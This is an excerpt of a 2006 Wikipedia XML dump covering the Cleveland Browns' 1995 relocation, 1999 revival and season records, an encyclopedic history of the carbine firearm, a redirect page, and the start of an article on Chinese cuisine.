[[Image:Modell move.jpg|thumb|left|200px|''[[Sports Illustrated]]'' cover, [[December 4]], [[1995]].]]
Team owner [[Art Modell]] announced on [[November 6]], [[1995]], that he had signed a deal to relocate the Browns to [[Baltimore, Maryland]] for [[1996 NFL season|1996]]. The very next day, on [[November 7]], [[1995]], voters overwhelmingly approved an issue that was placed on the ballot at Art Modell's request, before he made his secret deal, providing $175 million in tax dollars to rebuild [[Cleveland Municipal Stadium]]. Art Modell's plan was later scrapped and additional money was added to demolish the old stadium and construct a new stadium for the Browns.

The announcement was met with unprecedented resistance from Browns fans, with over 100 lawsuits filed by fans, the city of Cleveland, and a host of others, most of which were later settled in their favor. Congress held hearings on the matter. Actor/comedian [[Drew Carey]] returned to his hometown of Cleveland on [[November 26]], [[1995]], to host &quot;Fan Jam&quot; in protest of the proposed move. Virtually all of the team's sponsors immediately pulled their support, leaving Cleveland Municipal Stadium devoid of advertising during the team's final weeks.

The [[1995 NFL season|1995]] season was a disaster on the field, too. After starting 3-1, the rumors and eventual announcement cast a pall on the team, who finished 5-11. When fans in the [[Dawg Pound]] became a little rowdy during their final home game against the [[Cincinnati Bengals]], action moving towards that end zone had to be moved to the opposite end of the field. The Browns won, the only game the team won after the news of Modell's move got out. Grown men sat and wept after the final down was played.

Led by Mayor [[Michael R. White|Mike White]], Cleveland accepted a legal settlement that would keep the Browns legacy in Cleveland. In February 1996, the [[National Football League]] announced that the team would be 'deactivated' for three years, and that [[Cleveland Browns Stadium|a new stadium]] would be built for a new Cleveland Browns team that would begin play in 1999.  Modell would in turn be granted a new franchise for Baltimore, the [[Baltimore Ravens]], retaining the current contracts of players and personnel. The Browns' name, colors, history, records, awards and archives would remain in Cleveland.

===1999-Present: Welcome back Browns!===
[[Image:Cleveland Browns B logo.png|right|frame|Browns alternate logo (2003-2004)]]
In early 1998 the [[National Football League]] began its search for an owner for the reborn Browns, finding one later in the year in [[Al Lerner]], a former limited partner of the original Browns and a friend of [[Art Modell]] who assisted in Modell's move to Baltimore. During the period from 1996-1998 other franchises, such as Tampa Bay, threatened their home cities with the possibility of moving to Cleveland in order to put pressure on their respective cities to get more governmental funding for their own stadiums. This despite the fact that Cleveland would not accept such an arrangement. Lerner would usher in the team's rebirth in 1999, but would die in October 2002 - four years to the day he was awarded the new Browns franchise.  In death he would turn over the team to a trust controlled by his son, [[Randy Lerner|Randy]].

The team returned with high hopes and expectations, featuring solid ownership, solid general management in the form of former [[San Francisco 49ers]] president [[Carmen Policy]], and head coach [[Chris Palmer (football coach)|Chris Palmer]].  To date though, the franchise has not lived up to its lofty early expectations, with Palmer being dismissed after the 2000 season and Policy leaving the team in 2003 after having &quot;talked the talk&quot; but not &quot;walking the walk&quot;. Palmer was succeeded by former [[University of Miami]] coach [[Butch Davis]]. Despite a 2002 AFC Wild Card qualification, the team saw a dismal record during the next two seasons leading to Butch Davis' resignation in December 2004. Offensive Coordinator [[Terry Robiskie]], was named interim head coach for the remainder of the season. 

As [[Super Bowl XXXIX]] approached, there was much speculation over who would become the new head coach. On [[January 6]], [[2005]], it was announced that [[Phil Savage]] signed on as general manager. Savage was previously an administrative member for the Baltimore Ravens and the Browns before 1995. After the [[New England Patriots]] victory over the [[Philadelphia Eagles]] at the Super Bowl, Patriots' defensive coordinator [[Romeo Crennel]] signed on as the 11th head coach for the Browns. Robiskie was kept on as part of Crennel's staff.

With the Browns acquiring [[Trent Dilfer]] from the [[Seattle Seahawks]] and [[Reuben Droughns]] from the [[Denver Broncos]], the Browns began 2005 on the wrong foot, losing 27-13 at home to their in-state rival, the [[Cincinnati Bengals]].  They would go on the road and pick up their first win of the year against the [[Green Bay Packers]] (26-24).  After losing to the [[Indianapolis Colts]] (13-6), they used their Bye Week to regroup and pick up a comeback victory against the [[Chicago Bears]] (20-10).  However, the Browns couldn't keep the momentum going from their win and dropped four of their next five games.  A promising 22-0 shutout of the Miami Dolphins proved to be a mirage when the team lost its next three straight games.  In the team's final five games, rookie [[Charlie Frye]] served as the team's starting quarterback, winning two of those contests.  However, the two victories produced limited offense, while one humiliating 41-0 loss came at the hands of the [[Pittsburgh Steelers]] on [[December 24]].  The Browns ended their 2005 campaign at 6-10, tied with the Baltimore Ravens for last place in the AFC North, though they technically finished in fourth place in the AFC North based on a worse division record than the Ravens (1-5 to Baltimore's 2-4). [http://www.nfl.com/standings/conference]

Just prior to the Browns' final game of the [[2005 NFL season]], the team's front office became embroiled in a major controversy that threatened to once again send the team into rebuilding mode.  Team president [[John Collins (American Football executive)|John Collins]]' attempt to fire general manager [[Phil Savage]] caused such an uproar that it was Collins who resigned on [[January 3]], [[2006]].

===Season-by-season Records===
{{Start NFL SBS}}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Cleveland Browns (AAFC)'''
|-
|1946 || 12 || 2 || 0 || 1st AAFC West || '''Won AAFC Championship'''
|-
|1947 || 12 || 1 || 1 || 1st AAFC West || '''Won AAFC Championship'''
|-
|1948 || 14 || 0 || 0 || 1st AAFC West || '''Won AAFC Championship'''
|-
|1949 || 9 || 1 || 2 || 1st AAFC West || '''Won AAFC Championship'''
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Merged into NFL'''
|-
|1950 || 10 || 2 || 0 || 1st NFL AFC || '''Won NFL Championship'''
|-
|1951 || 11 || 1 || 0 || 1st NFL AFC || Lost NFL Championship ([[St. Louis Rams|Rams]])
|-
|1952 || 8 || 4 || 0 || 1st NFL AFC || Lost NFL Championship ([[Detroit Lions|Lions]])
|-
|1953 || 11 || 1 || 0 || 1st NFL East || Lost NFL Championship ([[Detroit Lions|Lions]])
|-
|1954 || 9 || 3 || 0 || 1st NFL East || '''Won NFL Championship'''
|-
|1955 || 9 || 2 || 1 || 1st NFL East || '''Won NFL Championship'''
|-
|1956 || 5 || 7 || 0 || T-4th NFL East || --
|-
|1957 || 9 || 2 || 1 || 1st NFL East || Lost NFL Championship ([[Detroit Lions|Lions]])
|-
|1958 || 9 || 3 || 0 || 2nd NFL East || Lost Eastern Conference Playoff ([[New York Giants|Giants]])
|-
|1959 || 7 || 5 || 0 || T-2nd NFL East || --
|-
|1960 || 8 || 3 || 1 || 2nd NFL East || --
|-
|1961 || 8 || 5 || 1 || 3rd NFL East || --
|-
|1962 || 7 || 6 || 1 || 3rd NFL East || --
|-
|1963 || 10 || 4 || 0 || 2nd NFL East || --
|-
|1964 || 10 || 3 || 1 || 1st NFL East || '''Won NFL Championship'''
|-
|1965 || 11 || 3 || 0 || 1st NFL East || Lost [[NFL playoffs, 1965|NFL Championship]] ([[Green Bay Packers|Packers]])
|-
|1966 || 9 || 5 || 0 || T-2nd NFL East || --
|-
|1967 || 9 || 5 || 0 || 1st NFL Century|| Lost [[NFL playoffs, 1967|Conference Playoff Game]] ([[Dallas Cowboys|Cowboys]])
|-
|1968 || 10 || 4 || 0 || 1st NFL Century || Lost [[NFL playoffs, 1968|NFL Championship Game]] ([[Indianapolis Colts|Colts]])
|-
|1969 || 10 || 3 || 1 || 1st NFL Century || Lost [[NFL playoffs, 1969|NFL Championship Game]] ([[Minnesota Vikings|Vikings]])
|-
|1970 || 7 || 7 || 0 || 2nd AFC Central || --
|-
|1971 || 9 || 5 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1971-72|Divisional Playoffs]] ([[Indianapolis Colts|Colts]])
|-
|1972 || 10 || 4 || 0 || 2nd AFC Central || Lost [[NFL playoffs, 1972-73|Divisional Playoffs]] ([[Miami Dolphins|Dolphins]])
|-
|1973 || 7 || 5 || 2 || 3rd AFC Central || --
|-
|1974 || 4 || 10 || 0 || 4th AFC Central || --
|-
|1975 || 3 || 11 || 0 || 4th AFC Central || --
|-
|1976 || 9 || 5 || 0 || 3rd AFC Central || --
|-
|1977 || 6 || 8 || 0 || 4th AFC Central || --
|-
|1978 || 8 || 8 || 0 || 3rd AFC Central || --
|-
|1979 || 9 || 7 || 0 || 3rd AFC Central || --
|-
|1980 || 11 || 5 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1980-81|Divisional Playoffs]] ([[Oakland Raiders|Raiders]])
|-
|1981 || 5 || 11 || 0 || 4th AFC Central || --
|-
|1982 || 4 || 5 || 0 || 8th AFC Conf. || Lost [[NFL playoffs, 1982-83|First Round]] ([[Oakland Raiders|Raiders]])
|-
|1983 || 9 || 7 || 0 || 2nd AFC Central || --
|-
|1984 || 5 || 11 || 0 || 3rd AFC Central || --
|-
|1985 || 8 || 8 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1985-86|Divisional Playoffs]] ([[Miami Dolphins|Dolphins]])
|-
|1986 || 12 || 4 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1986-87|Conference Championship]] ([[Denver Broncos|Broncos]])
|-
|1987 || 10 || 5 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1987-88|Conference Championship]] ([[Denver Broncos|Broncos]])
|-
|1988 || 10 || 6 || 0 || 2nd AFC Central || Lost [[NFL playoffs, 1988-89|Wild Card Playoffs]] ([[Tennessee Titans|Houston Oilers]])
|-
|1989 || 9 || 6 || 1 || 1st AFC Central || Lost [[NFL playoffs, 1989-90|Conference Championship]] ([[Denver Broncos|Broncos]])
|-
|1990 || 3 || 13 || 0 || 4th AFC Central || --
|-
|1991 || 6 || 10 || 0 || 3rd AFC Central || --
|-
|1992 || 7 || 9 || 0 || 3rd AFC Central || --
|-
|1993 || 7 || 9 || 0 || 3rd AFC Central || --
|-
|1994 || 11 || 5 || 0 || 2nd AFC Central || Lost [[NFL playoffs, 1994-95|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1995 || 5 || 11 || 0 || 4th AFC Central || -
|-
|1996 || colspan=&quot;5&quot; rowspan=&quot;3&quot; valign=&quot;middle&quot; align=&quot;center&quot; | '''''Did Not Play'''''
|-
|1997
|-
|1998
|-
|1999 || 2 || 14 || 0 || 6th AFC Central || --
|-
|2000 || 3 || 13 || 0 || 6th AFC Central || --
|-
|2001 || 7 || 9 || 0 || 3rd AFC Central || --
|-
|2002 || 9 || 7 || 0 || 2nd AFC North || Lost [[NFL playoffs, 2002-03|Wild Card Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|2003 || 5 || 11 || 0 || 4th AFC North || --
|-
|2004 || 4 || 12 || 0 || 4th AFC North || --
|-
|2005 || 6 || 10 || 0 || 4th AFC North || --
{{end box}}
^At the end of the [[2005 NFL season]], the Browns All-Time record is 473-364-13 (including AAFC &amp; NFL playoffs)

==Players of note==
===Current players===
{{Template:Cleveland Browns roster}}
===[[Pro Football Hall of Fame]]rs===
[[Image:DSCN4569 clevelandbrownsstadiumramp e2.jpg|300px|right|thumb|Entrance ramp of Cleveland Browns Stadium]]
*[[Jim Brown]]
*[[Paul Brown]]
*[[Joe DeLamielleure]]
*[[Len Ford]]
*[[Frank Gatski]]
*[[Otto Graham]]
*[[Lou Groza]]
*[[Leroy Kelly]]
*[[Dante Lavelli]]
*[[Mike McCormack]]
*[[Bobby Mitchell]]
*[[Marion Motley]]
*[[Ozzie Newsome]]
*[[Paul Warfield]]
*[[Bill Willis]]

===Retired numbers===
*14 [[Otto Graham]]
*32 [[Jim Brown]]
*45 [[Ernie Davis]]
*46 [[Don Fleming]]
*76 [[Lou Groza]]

===Not to be forgotten===
{|
|- valign=&quot;top&quot;
|
*[[Tony Adamle]]
*[[Chip Banks]]
*[[Courtney Brown (football) | Courtney Brown]]
*[[Earnest Byner]]
*[[Don Cockroft]]
*[[Gary Collins]]
*[[Tim Couch]]
*[[André Davis]]
*[[Hanford Dixon]]
*[[Chris Gardocki]]
*[[Bob Golic]]
*[[Robert Griffith]]
*[[Gene Hickerson]]
|
*[[Calvin Hill]]
*[[Leroy Hoard]]
*[[Kelly Holcomb]]
*[[Jim Houston]]
*[[Walter Johnson (football player)|Walter Johnson]]
*[[Bernie Kosar]]
*[[Reggie Langhorne]]
*[[Kevin Mack]]
*[[Clay Matthews]]
*[[Eric Metcalf]]
*[[Frank Minnifield]]
*[[Quincy Morgan]]
|
*[[Bill Nelson]]
*[[Michael Dean Perry]]
*[[Milt Plum]]
*[[Greg Pruitt]]
*[[Mike Pruitt]]
*[[Andre Rison]]
*[[Frank Ryan (football player)|Frank Ryan]]
*[[Brian Sipe]]
*[[Webster Slaughter]]
*[[Vinny Testaverde]]
*[[Eric Turner]]
|}

==Coaches==
===Head coaches===
*[[Paul Brown]] 1946-1962
*[[Blanton Collier]] 1963-1970
*[[Nick Skorich]] 1971-1974
*[[Forrest Gregg]] 1975-1977
*[[Dick Modzelewski]] 1977 (Interim)
*[[Sam Rutigliano]] 1978-1984
*[[Marty Schottenheimer]] 1984-1988
*[[Bud Carson]] 1989-1990
*[[Jim Shofner]] 1990 (Interim)
*[[Bill Belichick]] 1991-1995
*[[Chris Palmer (football coach)|Chris Palmer]] 1999-2000
*[[Butch Davis]] 2001-2004
*[[Terry Robiskie]] 2004 (Interim)
*[[Romeo Crennel]] 2005 - present

===Current staff===
*General Manager - [[Phil Savage]]
*Head Coach - [[Romeo Crennel]]
*Offensive Coordinator - [[Maurice Carthon]]
*Defensive Coordinator - [[Todd Grantham]]
*Special Teams Coach - [[Jerry Rosburg]]
*Quarterbacks Coach - [[Rip Scherer]]
*Running Backs Coach - [[Dave Atkins]]
*Wide Receivers Coach - [[Terry Robiskie]]
*Tight Ends Coach - [[Ben Coates]]
*Offensive Line Coach - [[Jeff Davidson]]
*Offensive Quality Control - [[Marwan Maalouf]]
*Defensive Line Coach - [[Randy Melvin]]
*Linebackers Coach - [[Mike Haluchak]]
*Defensive Backs Coach - [[Mel Tucker]]
*Defensive Assistant - [[Bob Trott]]
*Defensive Quality Control - [[Cory Undlin]]
*Strength and Conditioning - [[John Lott (football coach)| John Lott]]

==See also==
*[[Dawg Pound]]

==References==
#{{note|baltsun}} Morgan, Jon. [http://www.baltimoresun.com/sports/football/bal-modell020996,1,1050941.story Deal clears NFL path to Baltimore], ''[[The Baltimore Sun]]'', [[February 9]], [[1996]].
#{{note|Modellorg}} Scocca, Tom. [http://www.citypaper.com/columns/story.asp?id=8519 Welcome to the Big Time], ''Baltimore City Paper'' [[September 23]], [[1998]].

==External links==
*[http://www.clevelandbrowns.com/ Cleveland Browns official web site]
*[http://browns.scout.com/ The Orange and Brown Report (The OBR)]
*[http://www.sportsecyclopedia.com/nfl/clev/browns.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:Cleveland Browns| ]]
[[Category:1946 establishments]]
[[Category:All-America Football Conference]]
[[Category:National Football League teams]]

[[de:Cleveland Browns]]
[[fr:Browns de Cleveland]]
[[it:Cleveland Browns]]
[[pt:Cleveland Browns]]
[[sv:Cleveland Browns]]</text>
    </revision>
  </page>
  <page>
    <title>Carbine</title>
    <id>6579</id>
    <revision>
      <id>40509944</id>
      <timestamp>2006-02-21T02:23:51Z</timestamp>
      <contributor>
        <ip>69.181.229.244</ip>
      </contributor>
      <comment>/* Post-World War II */</comment>
      <text xml:space="preserve">:'' This article is about the term &quot;carbine&quot; in relation to firearms. For information on the racehorse with the same name, see [[Carbine (horse)]]''

A '''carbine''' is a [[firearm]] similar to, but generally shorter and less powerful than a [[rifle]] or [[musket]] of a given period.  There have been many carbines developed from rifles, being essentially shorter rifles firing the same [[ammunition]], although usually at a lower [[velocity]] and there have also been many where the carbine and rifle adopted by a particular nation were not technically related, such as using completely different ammunition or internal operating systems (though the carbine still being weaker, or of smaller size). Which is more common depends on the time period.

In the 1800s, carbines were generally smaller firearms for troops that rode on horses. The foot soldiers would have a longer, more powerful firearm and cavalry a shorter, lighter firearm. The relatively shorter length and lighter weight of carbines makes them easier to handle in close-quarter combat situations (such as urban or jungle warfare), or when deploying from vehicles.  The disadvantages of carbines, when compared with their longer counterparts, are generally poorer long-range accuracy and shorter effective range. 

[[Image:M-4carbine2.jpg|thumb|250px|right|The [[M4 carbine]], a compact version of the [[M16A2]] [[assault rifle]] with a collapsible stock and shorter barrel.]]

== History ==

=== Early history of the carbine: 1800s and earlier ===

The carbine was originally a lighter, shorter weapon developed for [[cavalry]] soldiers, for whom a full-length musket or rifle was too heavy and awkward to fire from horseback.  Carbines were usually less accurate and powerful than the longer rifles of the infantry, due to a shorter sight plane and lower velocity of bullets fired from the shortened barrel.  With the advent of fast-burning [[smokeless powder]], the velocity disadvantages of the shorter barrels became less of an issue (see [[internal ballistics]]).  Eventually, the use of horse-mounted cavalry would decline, but carbines continued to be issued and used by many who preferred a lighter, more compact weapon even at the cost of reduced long-range accuracy and power. A shorter weapon was more convenient when riding on horses, but it was also more convenient when riding in a truck, [[armored personnel carrier]], [[helicopter]] or aircraft, and also when engaged in close-range combat.

During the nineteenth century, carbines were often developed separately from the infantry rifles, and in many cases did not even use the same ammunition, which made for supply difficulties. A notable weapon developed towards the end of the [[American Civil War]] by the Union, was the [[Spencer carbine]]. It had a spring powered magazine in the stock which held seven rounds. In the late 1800s it became common for a number of nations to make [[bolt-action]] rifles in both full-length and carbine versions.  One of the most popular and recognizable carbines was the Winchester [[lever-action]] carbine, with several versions using [[revolver]] [[cartridge (firearms)|cartridge]]s.  This made it an ideal choice for cowboys and explorers, who could carry a revolver and a carbine, both using the same ammunition.  Another well-known carbine was the Spencer repeating carbine, which was one of the first firearms to use a self-contained metallic cartridge.

=== Shorter rifles, shorter carbines: World War I and World War II ===

In the decades preceding [[World War I]], the standard battle rifle used by armies around the world had been growing shorter, either by redesign or by the general issue of carbine versions instead of full-length rifles.  For example, the Russian Model 1891 rifle with a 31.5 inch (800 mm) barrel was shortened to 28.75 in. (730 mm) in 1930, and to 20 in. (510 mm) in 1938; the German [[Mauser]] 98 rifles went from 29 in. (740 mm) in 1898 to 23.6 in. (600 mm) in 1935 as the ''Karabiner Kurz'' (K98k), or &quot;short carbine&quot;.  The barrel lengths in rifles used by the [[United States]] did not change between the [[bolt-action]] [[M1903]] rifle of [[World War I]] and the [[World War II]] [[M1 Garand]] rifle, but then the 24 in. (610 mm) barrel on the M1903 was short for its day.  The US [[M1 Carbine]] was more of a traditional carbine in that it was significantly shorter and lighter, with an 18 in. barrel (460 mm), than the M1 Garand rifle.  The M1 Carbine was not a shorter version of the [[M1 Garand]], but a wholly different design firing a smaller, less-powerful cartridge as was common in the 1800s.

=== Post-World War II ===

Based on the combat experience of WWII, the criteria used for selecting infantry weapons began to change.  Unlike previous wars, which were often fought mainly from fixed lines and trenches, WWII was a highly mobile war, and often fought in cities, forests, or other areas where mobility and visibility were restricted.  In addition, improvements in [[artillery]] made moving infantry in open areas even more suicidal than it had been.  

The majority of enemy contacts were at ranges of less than 300 meters (325 yards), and the enemy was exposed to fire for only short periods of time as they moved from cover to cover.  Most rounds fired were not aimed at an enemy combatant, but instead fired in the enemy's direction to keep them from moving and firing back (see [[suppressive fire]]).  These situations did not require a heavy rifle, firing full-power rifle bullets with long-range accuracy.  A less-powerful weapon would still produce casualties at the shorter ranges encountered in actual combat, and the reduced recoil would allow more shots to be fired in the short amount of time an enemy was visible.  The lower-powered round would also weigh less, allowing a soldier to carry more ammunition.  With no need of a long barrel to fire full-power ammunition, a shorter barrel could be used.  A shorter barrel made the weapon weigh less and was easier to handle in tight spaces, and was easier to shoulder quickly to fire a shot at an unexpected target.  [[Automatic firearm|Full-automatic]] fire was also considered a desirable feature, allowing the soldier to fire short bursts of three to five rounds, increasing the probability of a hit on a moving target.

The Germans had experimented with [[selective-fire]] carbines firing rifle cartridges during the early years of WW2.  These were determined to be less than ideal, as the recoil of full-power rifle cartridges caused the weapon to be uncontrollable in full-automatic fire. They then developed an intermediate-power cartridge round, which was accomplished by reducing the power and the length of the standard 7.92 x 57 mm rifle cartridge to create the 7.92 x 33 mm ''Kurz'' (Short) cartridge. A selective-fire weapon was developed to fire this shorter cartridge, eventually resulting in the [[Sturmgewehr 44]], literally &quot;Storm Gun&quot;, later translated as &quot;[[assault rifle]]&quot;. After WWII, the USSR would adopt a similar weapon, the well-known [[AK-47]], which became the standard Soviet infantry weapon.  The United States during WWII also had the [[M1 Carbine|M2 Carbine]], a selective-fire version of the [[M1]] carbine firing a 7.62x33mm cartridge.  However, the semi-automatic M1 carbine was produced in a 10-to-1 ratio to the M2.

Although the [[NATO]] countries did not adopt an intermediate-power round, they continued the trend toward shorter and lighter [[magazine (firearm)|magazine]]-fed [[battle rifles]].  NATO adopted the [[7.62 NATO|7.62 x 51 mm NATO]] round, (which in reality is only slightly less powerful than the [[.30-06 Springfield]] and more powerful than the [[.303 British]]) along with several rifles such as the [[FN FAL]] and [[M14 (rifle)|M14]].

By the 1960s NATO had adopted the [[5.56 NATO|5.56 x 45 mm NATO]] cartridge.  This round was even lighter and smaller than the Soviet AK-47 cartridge, but possessed higher velocity and roughly the same muzzle energy.  In U.S. service, the [[M16 (rifle)|M16]] assault rifle replaced the M14 as the standard [[infantry]] weapon, although the M14 continued in use by [[designated marksmen]].

The trend was continuing; lighter carbines were being adopted as the standard infantry long rifle. What changed was that a certain amount of soldiers were now retaining longer range weapons, designated marksmen.  Development of lighter assault rifles continued, with even lighter carbines keeping pace. At the same time the infantry switched to 5.56 mm weapons, carbines like the [[AK74SU]] (which fired a Warsaw pact [[5.45 x 39 mm M74|5.45 x 39 mm]] round) and [[CAR 15]] were being developed.

== Modern history ==

=== Carbine use in contemporary military forces ===

By the 1990s, the US had adopted the M4 Carbine, a derivative of the M16 family which was lighter and shorter (in overall length and barrel length) subsequently resulting in reduced range and power.  In addition, due to the development of [[body armor]], support personnel required a compact weapon with more stopping power than the traditional [[pistol]], leading to the development of the [[personal defense weapon]], or PDW, which uses rounds that have better ballistics than simple pistol rounds but less power and range than full rifle rounds.  Examples include the [[FN P90]] and [[HK MP7]]. Whether these ultra-light weapons will receive widespread adoption has yet to be seen; in particular, it is questionable whether their stopping power is adequate.  The cartridge used by the FN P90, the [[5.7 x 28 mm]], for example, fires a 30 grain (1.9 g) armor piercing bullet at velocities of around 2300 ft/s (700 m/s).  This gives similar ballistics to the high velocity loadings in the [[.22 WMR|.22 Winchester Magnum Rimfire]] round, which is generally considered wholly inadequate for defensive use.  The H&amp;K MP7 fires an even smaller 4.6 mm round with ballistics similar to the .22 WMR derived [[.17 Hornady Magnum Rimfire]].  The small diameter rounds enable the projectile to travel at the high velocity needed to penetrate [[kevlar]] armor, as a light weapon with sufficient energy to push a large caliber bullet through the armor would have prohibitive recoil.  The small bullets, however, do not have much wounding power.  They are generally designed to tumble after penetration, and while that works in theory, other tumbling rounds such as the [[5.56 x 45 mm]] and the [[5.45 x 39 mm]] have shown erratic performance in the field (see below).  

Meanwhile, many armies are experiencing a backlash against carbines and lighter rifles in general, and are equipping selected soldiers, usually called [[Designated Marksman]], or DM, with higher power rifles. While firing more smaller bullets makes it easier to hit a target, and is good for beginner marksmen, it offers very little to more advanced marksmen. In addition, the additional range of the heavier weapons has proven to be necessary in open environments such as deserts. As a result, the focus on more highly trained soldiers equipped with, for example, 7.62 mm NATO firing rifles, such as the [[U.S. Marine Corps Designated Marksman Rifle]] variant of the [[M14]], has increased somewhat.  A squad of soldiers armed with assault rifles would have a single soldier assigned as DM who would carry a battle rifle for selectively engaging long range targets.  The DM differs from the sniper in that the DM is highly mobile, moving with his unit, and engages targets at ranges beyond the 300 metres (330 yd) effective range of modern assault rifles, but less than the 600 metre (650 yd) range which is the optimal engagement range for snipers.

=== Special operations forces ===

One bastion of the carbine which is unlikely to be unseated is the special operations forces of the world. Because of the need to perform fast, decisive operations, a pistol is viewed as not having enough power. A pistol is conversely very light, and aids in the speed of the operator. Consequently, carbines have gained wide acceptance among [[SOCOM]] and other communities. An example of this would be the Springfield Armory SOCOM 16, which is a 16 in (406 mm) barreled carbine chambered in [[.308 Winchester|.308 Winchester (7.62 NATO)]]. With a composite stock and lighter parts, as well as increased sight aperture or [[Advanced_Combat_Optical_Gunsight|ACOG]], the rifle maintains a high degree of accuracy for [[close quarters battle]], as well as being serviceable to ranges up to 400 yards (370 m). The rifle maintains light weight, and has far superior stopping power to most pistol cartridges. Additionally, with 20 and 30 round magazines, the firepower is dramatically preferable to a pistol.

=== Personal defense weapons ===

In both civilian use and among the military's lighter armored soldiers, it is common to use a carbine. However, due to some of the reasons mentioned elsewhere in this article, such as muzzle blast and recoil, these carbines are generally chambered in lighter rounds than some of their heavier (or shorter) counterparts. Due to the low wounding power of a single round, personal defense weapons depend on high volumes of fire for effectiveness. This may make such carbines successful in military use. In civilian use, where fully automatic fire is impractical or illegal, and shot placement is more critical, acceptance may be lower, as a pistol involves single shots. However, firing a pistol effectively at any significant range requires good training, since the absence of a buttstock makes precise ranged aim difficult.

=== Future acceptance and use ===

To what extent armies will adopt even lighter carbines, and to what extent they will be avoided has yet to be seen entirely. It is likely that harder hitting, or at least higher penetrating weapons will become more common, due to a rise in use of body armor making weaker weapons ineffective. Stacked against this is mainly the amount of urban warfare that is required, which favours lighter carbine weapons.

The modern usage of the term carbine covers much the same scope as it always had, of lighter weapons (generally rifles) with barrels of less than about 18 inches (460 mm). These weapons can be considered carbines, while rifles with barrels of 20 inches (510 mm) or more are generally not considered carbines unless specifically named so, and depending on the weapon power. Modern carbines are chambered in calibers from pistol calibers to full power rifle cartridges usually up to, but not including, the high velocity magnum rifle cartridges. In the more powerful cartridges, the short barrel of a carbine has significant disadvantages in velocity, and the high residual pressure when the bullet exits the barrel results in substantially greater [[Wiktionary:muzzle blast|muzzle blast]]. [[Flash suppressor]]s and [[Wiktionary:muzzle brake|muzzle brake]]s are common solutions to this problem, which may ease their acceptance.

For the military and security forces there is emerging a wide range of less than lethal PDW options.  These range from [[taser]]s to microwave beam type weapons.

== Usage ==

=== Pistol caliber carbines ===

One of the more unusual classes of carbine is the pistol caliber carbine.  These first appeared soon after metallic cartridges became common.  These were developed as &quot;companions&quot; to the popular [[revolvers]] of the day, firing the same cartridge but allowing more velocity and accuracy than the revolver.  These were carried by [[cowboys]], lawmen, and others in the [[Old West]].  The classic combination would be a [[Winchester rifle | Winchester]] lever action carbine and a [[Colt]] revolver in .44-40 or .45 Colt.  

Modern equivalents also exist, such as the [[Ruger Police Carbine]], which uses the same magazine as the Ruger [[pistols]] of the same caliber.  The [[Beretta Cx4 Storm]] shares magazines with many [[Beretta]] pistols, and shares its design with the [[Beretta Px4 Storm]] pistol.  The recent introduction of such products may indicate that there is a growing demand for these companion carbines.

The primary advantage of a pistol caliber carbine, other than the usually-added buttstock or shoulder rest for increased accuracy, is the fact that in general a longer barrel will yield higher projectile velocity. This results in greater stopping power and increased ability to penetrate body armor. Additionally, many pistol calibers, such as .45 ACP, have much heavier projectiles, such as 230 grain (15 g), than rifles do, 55 grains (3.6 g) being common in 22-caliber rounds like .22-250 and .223.

===Ultra carbines===

Firearms with shoulder stocks and barrels less than 16 in (406 mm) in length are classified as &quot;short barreled rifles&quot; (under the US [[National Firearms Act]] or '''NFA'''), and are sometimes restricted in the same way that [[Sawn-off shotgun|sawed off shotgun]]s and [[machine gun]]s are.  Because of this, rifles with barrels of less than 16 in (406 mm), or pistols with shoulder stocks, are rare. &quot;Kits&quot; exist which will convert a [[GLOCK]] pistol to a carbine.

=== Air carbines === 

In the world of [[airgun]]s, there is a small but growing class of what are also called &quot;ultra carbines&quot;, that have extremely short barrels.  These may be rifles with barrels cut down to as short as 8 inches (203 mm), or pistols converted into carbines with the addition of a shoulder stocks. These are generally not restricted legally in the same way some firearms are.

=== Other carbines ===

Another class of carbine is a semi-automatic version of a [[submachine gun]], with an extended barrel, just over 16 inches (406 mm) long, which will escape ban by some &quot;assault weapon&quot; legislation.  While functionally identical to other carbines, these are banned in some places as &quot;assault weapons&quot; based on their cosmetic similarity to submachine guns. However, they may not accept certain parts (such as magazines or collapsing stocks) from the submachine guns they resemble.  These are a popular compromise for (American) shooters who would like to own a submachine gun but cannot due to local restrictions or the prohibitive cost of buying a civilian legal submachine gun (since the end of the [[Federal assault weapons ban|Clinton assault weapons ban]], this has become less prohibitive).  While these submachine gun lookalikes are acceptable for use for self defense, the media generally portrays them as being used for violent crime. As such, this may make them a poor choice for a personal defense weapon. This does not deter many of the more vocal proponents of personal defense firearms, who typically recommend a pistol and a higher power weapon, like a carbine or a [[shotgun]].

In some historical cases the term ''machine carbine'' was the official title for sub-machine guns. Examples are the [[Sten]] and [[Owen gun]]s. Equally to confuse the non-automatic version of the [[Sterling submachine gun]] was also a &quot;Carbine&quot;.

== See also ==
* [[M1 Carbine]]
* [[M2 Carbine]]
* [[M3 Carbine]]
* [[M4 Carbine]]
* [[XM8 Carbine]]
* [[De Lisle carbine]] 

[[Category:Rifles]]

[[bg:Карабина]]
[[da:Karabin]]
[[de:Karabiner]]
[[es:Carabina]]
[[he:קרבין]]
[[no:Karabin]]
[[pl:Karabinek (broń)]]
[[pt:Carabina]]
[[sl:Karabinka]]
[[sv:Karbin]]
[[zh:卡宾枪]]</text>
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    <title>Concrete music</title>
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        <username>Camembert</username>
        <id>3113</id>
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      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Musique concrète]]</text>
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  <page>
    <title>Chinese cuisine</title>
    <id>6583</id>
    <revision>
      <id>42091068</id>
      <timestamp>2006-03-03T19:43:12Z</timestamp>
      <contributor>
        <username>LDHan</username>
        <id>734962</id>
      </contributor>
      <minor />
      <comment>/* Typical dishes */</comment>
      <text xml:space="preserve">{{Cuisine_of_China}} 
{{cookbook}}
'''Chinese cuisine''' is widely seen as representing one of the richest and most diverse culinary heritages in the [[world]]. It originated in different regions of [[China]] and has been introduced to other parts of the world — from [[Southeast Asia]] to [[North America]] and [[Western Europe]].

